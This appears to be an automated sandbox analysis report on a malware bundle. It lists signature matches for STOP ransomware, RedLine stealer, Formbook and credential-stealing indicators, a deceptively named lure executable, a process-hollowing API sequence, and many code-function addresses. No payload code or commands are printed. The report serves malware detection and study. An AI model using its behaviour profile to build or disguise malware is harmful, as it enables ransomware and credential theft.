Source: 0000002E.00000002.2009399766.0000000002740000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0000002E.00000002.2009060083.00000000025F0000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000031.00000002.2285780080.0000000000AA0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: Process Memory Space: buildz.exe PID: 6540, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown

.NET source code contains very large strings

Source: spfasiazx.exe.0.dr, Login.cs

Long String: Length: 125575

Initial sample is a PE file and has a suspicious name

Source: initial sample

Static PE information: Filename: New_Text_Document_mod.exse.exe

Sample has a suspicious name (potential lure to open the executable)

Source: New_Text_Document_mod.exse.exe

Static file information: Suspicious name

Very long command line found

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: Commandline size = 25765
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: Commandline size = 25765

Source: C:\Users\user\Desktop\a\build3.exe	Code function: 11_2_00D3CC87 NtFlushProcessWriteBuffers,NtFlushProcessWriteBuffers,		11_2_00D3CC87
Source: C:\Users\user\Desktop\a\buildz.exe	Code function: 31_2_02670110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,ExitProcess,		31_2_02670110

Source: C:\Users\user\Desktop\a\wlanext.exe

Code function: 14_2_004032BF EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,GetModuleHandleA,CharNextA,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,ExitProcess,OleUninitialize,ExitProcess,lstrcatA,lstrcatA,lstrcatA,lstrcmpiA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,

14_2_004032BF

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File deleted: C:\Windows\Temp\__PSScriptPolicyTest_s2imeua5.z4m.ps1

Source: C:\Users\user\Desktop\a\spfasiazx.exe	Code function: 2_2_02F3D57C	2_2_02F3D57C
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Code function: 2_2_050C4040	2_2_050C4040
Source: C:\Users\user\Desktop\a\build3.exe	Code function: 11_2_00D630F8	11_2_00D630F8
Source: C:\Users\user\Desktop\a\build3.exe	Code function: 11_2_00D46283	11_2_00D46283
Source: C:\Users\user\Desktop\a\build3.exe	Code function: 11_2_00D416F3	11_2_00D416F3
Source: C:\Users\user\Desktop\a\build3.exe	Code function: 11_2_00D676EB	11_2_00D676EB
Source: C:\Users\user\Desktop\a\build3.exe	Code function: 11_2_00D68640	11_2_00D68640
Source: C:\Users\user\Desktop\a\build3.exe	Code function: 11_2_00D6780B	11_2_00D6780B
Source: C:\Users\user\Desktop\a\build3.exe	Code function: 11_2_00D62C60	11_2_00D62C60
Source: C:\Users\user\Desktop\a\build3.exe	Code function: 11_2_00D43EE2	11_2_00D43EE2
Source: C:\Users\user\Desktop\a\build3.exe	Code function: 11_2_00D66F99	11_2_00D66F99
Source: C:\Users\user\Desktop\a\build3.exe	Code function: 11_2_00D57F10	11_2_00D57F10
Source: C:\Users\user\Desktop\a\build3.exe	Code function: 11_2_00D40F04	11_2_00D40F04
Source: C:\Users\user\Desktop\a\alex.exe	Code function: 12_2_014FD57C	12_2_014FD57C
Source: C:\Users\user\Desktop\a\alex.exe	Code function: 12_2_05B54CE8	12_2_05B54CE8
Source: C:\Users\user\Desktop\a\alex.exe	Code function: 12_2_05B50040	12_2_05B50040
Source: C:\Users\user\Desktop\a\alex.exe	Code function: 12_2_05B5E300	12_2_05B5E300
Source: C:\Users\user\Desktop\a\alex.exe	Code function: 12_2_074081F9	12_2_074081F9
Source: C:\Users\user\Desktop\a\alex.exe	Code function: 12_2_07400040	12_2_07400040
Source: C:\Users\user\Desktop\a\alex.exe	Code function: 12_2_07409518	12_2_07409518
Source: C:\Users\user\Desktop\a\alex.exe	Code function: 12_2_07400006	12_2_07400006
Source: C:\Users\user\Desktop\a\wlanext.exe	Code function: 14_2_00406542	14_2_00406542
Source: C:\Users\user\Desktop\a\wlanext.exe	Code function: 14_2_00404A8D	14_2_00404A8D
Source: C:\Users\user\Desktop\a\Creal.exe	Code function: 18_2_00007FF738B67950	18_2_00007FF738B67950
Source: C:\Users\user\Desktop\a\Creal.exe	Code function: 18_2_00007FF738B872BC	18_2_00007FF738B872BC
Source: C:\Users\user\Desktop\a\Creal.exe	Code function: 18_2_00007FF738B86370	18_2_00007FF738B86370
Source: C:\Users\user\Desktop\a\Creal.exe	Code function: 18_2_00007FF738B77E4C	18_2_00007FF738B77E4C
Source: C:\Users\user\Desktop\a\Creal.exe	Code function: 18_2_00007FF738B73AE4	18_2_00007FF738B73AE4
Source: C:\Users\user\Desktop\a\Creal.exe	Code function: 18_2_00007FF738B722A4	18_2_00007FF738B722A4
Source: C:\Users\user\Desktop\a\Creal.exe	Code function: 18_2_00007FF738B71A84	18_2_00007FF738B71A84
Source: C:\Users\user\Desktop\a\Creal.exe	Code function: 18_2_00007FF738B84280	18_2_00007FF738B84280
Source: C:\Users\user\Desktop\a\Creal.exe	Code function: 18_2_00007FF738B80F38	18_2_00007FF738B80F38
Source: C:\Users\user\Desktop\a\Creal.exe	Code function: 18_2_00007FF738B7EB30	18_2_00007FF738B7EB30
Source: C:\Users\user\Desktop\a\Creal.exe	Code function: 18_2_00007FF738B77C98	18_2_00007FF738B77C98
Source: C:\Users\user\Desktop\a\Creal.exe	Code function: 18_2_00007FF738B7E4B0	18_2_00007FF738B7E4B0
Source: C:\Users\user\Desktop\a\Creal.exe	Code function: 18_2_00007FF738B71C90	18_2_00007FF738B71C90
Source: C:\Users\user\Desktop\a\Creal.exe	Code function: 18_2_00007FF738B7A430	18_2_00007FF738B7A430
Source: C:\Users\user\Desktop\a\Creal.exe	Code function: 18_2_00007FF738B865EC	18_2_00007FF738B865EC
Source: C:\Users\user\Desktop\a\Creal.exe	Code function: 18_2_00007FF738B86D70	18_2_00007FF738B86D70
Source: C:\Users\user\Desktop\a\Creal.exe	Code function: 18_2_00007FF738B72D50	18_2_00007FF738B72D50
Source: C:\Users\user\Desktop\a\Creal.exe	Code function: 18_2_00007FF738B81EE4	18_2_00007FF738B81EE4
Source: C:\Users\user\Desktop\a\Creal.exe	Code function: 18_2_00007FF738B736E0	18_2_00007FF738B736E0
Source: C:\Users\user\Desktop\a\Creal.exe	Code function: 18_2_00007FF738B786D0	18_2_00007FF738B786D0
Source: C:\Users\user\Desktop\a\Creal.exe	Code function: 18_2_00007FF738B71E94	18_2_00007FF738B71E94
Source: C:\Users\user\Desktop\a\Creal.exe	Code function: 18_2_00007FF738B89FF8	18_2_00007FF738B89FF8
Source: C:\Users\user\Desktop\a\Creal.exe	Code function: 18_2_00007FF738B68FD0	18_2_00007FF738B68FD0
Source: C:\Users\user\Desktop\a\Creal.exe	Code function: 18_2_00007FF738B77E4C	18_2_00007FF738B77E4C
Source: C:\Users\user\Desktop\a\Creal.exe	Code function: 18_2_00007FF738B8471C	18_2_00007FF738B8471C
Source: C:\Users\user\Desktop\a\Creal.exe	Code function: 18_2_00007FF738B75F30	18_2_00007FF738B75F30
Source: C:\Users\user\Desktop\a\Creal.exe	Code function: 18_2_00007FF738B80F38	18_2_00007FF738B80F38
Source: C:\Users\user\Desktop\a\Creal.exe	Code function: 18_2_00007FF738B61F50	18_2_00007FF738B61F50
Source: C:\Users\user\Desktop\a\Creal.exe	Code function: 18_2_00007FF738B720A0	18_2_00007FF738B720A0
Source: C:\Users\user\Desktop\a\Creal.exe	Code function: 18_2_00007FF738B71880	18_2_00007FF738B71880
Source: C:\Users\user\Desktop\a\Creal.exe	Code function: 18_2_00007FF738B7E01C	18_2_00007FF738B7E01C
Source: C:\Users\user\Desktop\a\buildz.exe	Code function: 31_2_02677220	31_2_02677220
Source: C:\Users\user\Desktop\a\buildz.exe	Code function: 31_2_026F22C0	31_2_026F22C0
Source: C:\Users\user\Desktop\a\buildz.exe	Code function: 31_2_026BE37C	31_2_026BE37C
Source: C:\Users\user\Desktop\a\buildz.exe	Code function: 31_2_02677393	31_2_02677393
Source: C:\Users\user\Desktop\a\buildz.exe	Code function: 31_2_0267A026	31_2_0267A026
Source: C:\Users\user\Desktop\a\buildz.exe	Code function: 31_2_0268F030	31_2_0268F030
Source: C:\Users\user\Desktop\a\buildz.exe	Code function: 31_2_0267B000	31_2_0267B000
Source: C:\Users\user\Desktop\a\buildz.exe	Code function: 31_2_026770E0	31_2_026770E0
Source: C:\Users\user\Desktop\a\buildz.exe	Code function: 31_2_026730F0	31_2_026730F0
Source: C:\Users\user\Desktop\a\buildz.exe	Code function: 31_2_026800D0	31_2_026800D0
Source: C:\Users\user\Desktop\a\buildz.exe	Code function: 31_2_0267B0B0	31_2_0267B0B0
Source: C:\Users\user\Desktop\a\buildz.exe	Code function: 31_2_026BE141	31_2_026BE141
Source: C:\Users\user\Desktop\a\buildz.exe	Code function: 31_2_02679120	31_2_02679120
Source: C:\Users\user\Desktop\a\buildz.exe	Code function: 31_2_0269D1A4	31_2_0269D1A4
Source: C:\Users\user\Desktop\a\buildz.exe	Code function: 31_2_0267E6E0	31_2_0267E6E0
Source: C:\Users\user\Desktop\a\buildz.exe	Code function: 31_2_026BB69F	31_2_026BB69F
Source: C:\Users\user\Desktop\a\buildz.exe	Code function: 31_2_0267A699	31_2_0267A699
Source: C:\Users\user\Desktop\a\buildz.exe	Code function: 31_2_0267C760	31_2_0267C760
Source: C:\Users\user\Desktop\a\buildz.exe	Code function: 31_2_0269D7F1	31_2_0269D7F1
Source: C:\Users\user\Desktop\a\buildz.exe	Code function: 31_2_0267A79A	31_2_0267A79A
Source: C:\Users\user\Desktop\a\buildz.exe	Code function: 31_2_02673520	31_2_02673520
Source: C:\Users\user\Desktop\a\buildz.exe	Code function: 31_2_02677520	31_2_02677520
Source: C:\Users\user\Desktop\a\buildz.exe	Code function: 31_2_0267CA10	31_2_0267CA10
Source: C:\Users\user\Desktop\a\buildz.exe	Code function: 31_2_02677A80	31_2_02677A80
Source: C:\Users\user\Desktop\a\buildz.exe	Code function: 31_2_02672B60	31_2_02672B60
Source: C:\Users\user\Desktop\a\buildz.exe	Code function: 31_2_02680B00	31_2_02680B00
Source: C:\Users\user\Desktop\a\buildz.exe	Code function: 31_2_0267DBE0	31_2_0267DBE0
Source: C:\Users\user\Desktop\a\buildz.exe	Code function: 31_2_026918D0	31_2_026918D0
Source: C:\Users\user\Desktop\a\buildz.exe	Code function: 31_2_02677880	31_2_02677880
Source: C:\Users\user\Desktop\a\buildz.exe	Code function: 31_2_0267A916	31_2_0267A916
Source: C:\Users\user\Desktop\a\buildz.exe	Code function: 31_2_026759F7	31_2_026759F7
Source: C:\Users\user\Desktop\a\buildz.exe	Code function: 31_2_026789D0	31_2_026789D0
Source: C:\Users\user\Desktop\a\buildz.exe	Code function: 31_2_0269E9A3	31_2_0269E9A3
Source: C:\Users\user\Desktop\a\buildz.exe	Code function: 31_2_0269F9B0	31_2_0269F9B0
Source: C:\Users\user\Desktop\a\buildz.exe	Code function: 31_2_02678E60	31_2_02678E60
Source: C:\Users\user\Desktop\a\buildz.exe	Code function: 31_2_026A4E9F	31_2_026A4E9F
Source: C:\Users\user\Desktop\a\buildz.exe	Code function: 31_2_026B2D1E	31_2_026B2D1E
Source: C:\Users\user\Desktop\a\buildz.exe	Code function: 31_2_02675DE7	31_2_02675DE7
Source: C:\Users\user\Desktop\a\buildz.exe	Code function: 31_2_02675DF7	31_2_02675DF7

Source: C:\Users\user\Desktop\a\buildz.exe	Code function: String function: 026A0160 appears 49 times
Source: C:\Users\user\Desktop\a\buildz.exe	Code function: String function: 02698EC0 appears 57 times
Source: C:\Users\user\Desktop\a\Creal.exe	Code function: String function: 00007FF738B62B30 appears 47 times
Source: C:\Users\user\Desktop\a\build3.exe	Code function: String function: 00D3E080 appears 45 times
Source: C:\Users\user\Desktop\a\build3.exe	Code function: String function: 00D3DA42 appears 80 times
Source: C:\Users\user\Desktop\a\build3.exe	Code function: String function: 00D38580 appears 137 times

Source: C:\Users\user\Desktop\a\spfasiazx.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5480 -s 860

Source: New_Text_Document_mod.exse.exe, 00000000.00000000.1630397907.0000000000512000.00000002.00000001.01000000.00000003.sdmp

Binary or memory string: OriginalFilenameNew Text Document mod.exe4 vs New_Text_Document_mod.exse.exe

Source: C:\Users\user\Desktop\a\Creal.exe	Section loaded: python3.dll
Source: C:\Users\user\AppData\Local\0e02b0bb-f517-46fa-b1ee-2b79cc8d533e\build2.exe	Section loaded: nss3.dll

Source: 13.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 12.2.alex.exe.43c7668.2.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 12.2.alex.exe.43c7668.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 40.2.buildz.exe.26515a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 40.2.buildz.exe.26515a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 41.2.buildz.exe.26415a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 41.2.buildz.exe.26415a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 51.2.buildz.exe.25f15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 51.2.buildz.exe.25f15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 12.2.alex.exe.438ca48.3.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 42.2.buildz.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 42.2.buildz.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 51.2.buildz.exe.25f15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 51.2.buildz.exe.25f15a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 31.2.buildz.exe.26715a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 31.2.buildz.exe.26715a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 45.2.buildz.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 45.2.buildz.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 48.2.buildz.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 46.2.buildz.exe.27415a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 46.2.buildz.exe.27415a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 42.2.buildz.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 42.2.buildz.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 12.2.alex.exe.438ca48.3.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 31.2.buildz.exe.26715a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 31.2.buildz.exe.26715a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 33.2.buildz.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 33.2.buildz.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 48.2.buildz.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 33.2.buildz.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 33.2.buildz.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 40.2.buildz.exe.26515a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 40.2.buildz.exe.26515a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 46.2.buildz.exe.27415a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 46.2.buildz.exe.27415a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 45.2.buildz.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 45.2.buildz.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 41.2.buildz.exe.26415a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 41.2.buildz.exe.26415a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000028.00000002.1925950067.0000000002650000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000021.00000002.1915949362.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
